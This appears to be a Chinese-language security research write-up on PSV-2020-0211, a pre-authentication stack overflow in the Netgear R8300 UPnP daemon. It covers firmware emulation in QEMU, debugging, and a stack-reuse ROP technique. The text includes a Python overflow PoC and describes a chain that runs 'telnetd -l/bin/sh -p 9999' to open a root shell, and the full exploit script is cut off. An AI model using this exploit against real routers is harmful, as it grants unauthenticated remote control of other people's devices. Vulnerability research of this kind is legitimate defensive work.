固件模拟与UPnP栈溢出利用
https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
https://paper.seebug.org/1311/#1
https://www.anquanke.com/post/id/217606
0x00 漏洞概要
漏洞编号: | PSV-2020-0211 |
---|---|
披露时间: | 2020 -07-31 — Netgear 官方发布安全公告 2020-08-18 – 漏洞公开披露 |
影响厂商: | Netgear |
漏洞类型: | 栈溢出漏洞 |
漏洞评分(CVSS): | 9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
利用条件: | 该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务,无需身份验证。 |
漏洞成因: | 该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。 |
0x01 威胁范围
影响范围: | R8300 running firmware versions prior to 1.0.2.134 |
---|---|
ZoomEye查询结果: | Netgear R8300共有579台设备暴露在互联网上,绝大部分分布在美国,少量设备出现在欧洲 |
— | |
0x02 Qemu模拟
真机调试 | 硬件调试接口 | uart |
---|---|---|
历史RCE | NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞 | |
设备后门开启telnet | Unlocking the Netgear Telnet Console | |
固件篡改植入telnet | ||
固件模拟 | QEMU | 现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。 |
树莓派、开发板 | 只要 CPU 指令集对的上,就可以跑起来 | |
firmadyne | 基于qemu定制 | |
Qemu STM32 | ||
Avatar | 混合式仿真 |
嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf
由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
使用binwalk对固件中的特征字符串进行识别,可以看到R8300采用了squashfs文件系统格式
1 | binwalk R8300-V1.0.2.130_1.0.99.chk |
使用 binwalk -Me
提取出 Squashfs 文件系统,可以看到R8300为ARM v5架构.
1 | file usr/sbin/upnpd |
firmadyne
直接使用firmadyne模拟R8300固件失败,一是网络接口初始化失败,二是NVRAM配置存在问题
原因可能是:
- firmadyne只支持armel、mipseb、 mipsel这三种系统内核,相比我们熟悉的armel,armhf代表了另一种不兼容的二进制标准。https://people.debian.org/~aurel32/qemu/armhf/
NVRAM库劫持失败,firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram
1 | ./fat.py 'Path to R8300 firmware file' |
Qemu自定义
- 配置arm虚拟机
使用Qemu模拟固件需要下载对应的arm虚拟机镜像,内核和initrd。
https://people.debian.org/~aurel32/qemu/armhf/
1 | [debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M |
标准的虚拟机启动命令为
1 | - qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" |
对于R8300固件,在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
1 | sudo tunctl -t tap0 -u `whoami` |
与标准命令区别在于-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动之后输入用户名和密码,都是 root,为虚拟机分配 IP:
1 | root@debian-armhf:~# ifconfig eth0 192.168.2.2/24 |
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
1 | root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc |
- 修复依赖
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD
劫持以下函数符号。手动创建 /tmp/var/run
目录,再次运行提示缺少 /dev/nvram
。
1 | $ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so |
- 劫持
dlsym
nvram库的实现者还同时 hook 了 system
、fopen
、open
等函数,因此还会用到 dlsym
,/lib/libdl.so.0
导出了该符号。
1 | $ grep -r "dlsym" . |
- 配置tmp/nvram.ini信息
接下来要做的就是根据上面的日志补全配置信息,也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
1 | upnpd_debug_level=9 |
- 运行过程
1 | ./usr/sbin/upnpd |
0x03 静态分析
该漏洞的原理是使用strcpy函数不当,拷贝过长字符导致缓冲区溢出,那么如何到达溢出位置。
首先upnpd服务在sub_1D020()
中使用recvfrom()
从套接字接收UDP数据包,并捕获数据发送源的地址。从函数定义可知,upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54
recvfrom recvfrom函数(经socket接收数据):
函数原型:int recvfrom(SOCKET s,void *buf,int len,unsigned int flags, struct sockaddr from,int fromlen);
相关函数 recv,recvmsg,send,sendto,socket
函数说明:recv()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
在 sub_25E04()
中调用 strcpy()
将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc
的 buffer。如果超过缓冲区大小,数据就会覆盖栈底部分甚至返回地址。
1 | +-----------------+ |
0x04 动态调试
使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver
1 | # ps|grep upnp |
工作机上使用跨平台试gdb-multiarchgdb-multiarch -x dbgscript
dbgscript 内容
1 | set architecture arm |
直接构造溢出字符,程序不会正常返回,因为栈上存在一个v40的指针v51,需要覆盖为有效地址才能正确返回。
1 | #!/usr/bin/python3 |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # dummy
p32(0x7e2da53c) + # v51
(0x634 - 0x604 - 8) * b'a' + # dummy
p32(0x43434343) # LR
)
s.connect(('192.168.2.2', 1900))
s.send(payload)
s.close()
可以看到,我们向返回地址发送的数据为0x43434343,但最后PC寄存器的值为0x43434342,最后一个bit变为0,这是为什么?https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
- 首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。
- 其次关于最低有效位的一个注意事项:BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换:ARM(LSB=0)/Thumb(LSB=1)。
- 我们可以看到R7300是运行在THUMB状态
- 当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节
- 当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节
- 因此保存的LR(用0x43434343覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x43434342。
最后检查程序的缓解措施。程序本身开启了NX,之前用过R7000的真机,设备开了ASLR
在堆栈恢复前下一个断点,观察控制流转移情况,将PC指针控制为重启指令。通过 hook 的日志可以看到,ROP 利用链按照预期工作(由于模拟环境的问题,reboot 命令运行段错误了…)
1 | gef➤ b *0x00025F40 |
综合目前的情况:
- 目前可以控制
R4 - R11
以及PC(R15)
寄存器 - 开了 NX 不能用在栈上布置
shellcode
。 - 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和
gadget
。 strcpy()
函数导致的溢出,payload 中不能包含\x00
字符。
0x05 漏洞利用
路由器已启用ASLR缓解功能,我们可以使用ROP攻击绕过该功能。但是,我们通过使用对NULL字节敏感的strcpy来执行复制调用,这反过来又会阻止我们使用ROP攻击。因此,要利用包含NULL字节的地址,我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(stack reuse
)
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化,利用内存未初始化问题,我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC,每个 payload 前添加 \x00
防止程序崩溃(strcpy遇到\x00截断,不会拷贝后面部分)。
1 | #!/usr/bin/python3 |
在strcpy下断点调试,并检查栈区内存
1 | gef➤ info b |
此时程序上下文为
1 | gef➤ context |
由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
使用 strcpy
调用在 bss 上拼接出命令字符串 telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00
,并调整 R0 指向这段内存,然后跳转 system
执行即可。
0x06 脚本使用说明
脚本帮助: | usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】 |
---|---|
真实利用: | IP:192.168.2.2 Port:upnp/1900 |
1 | import socket |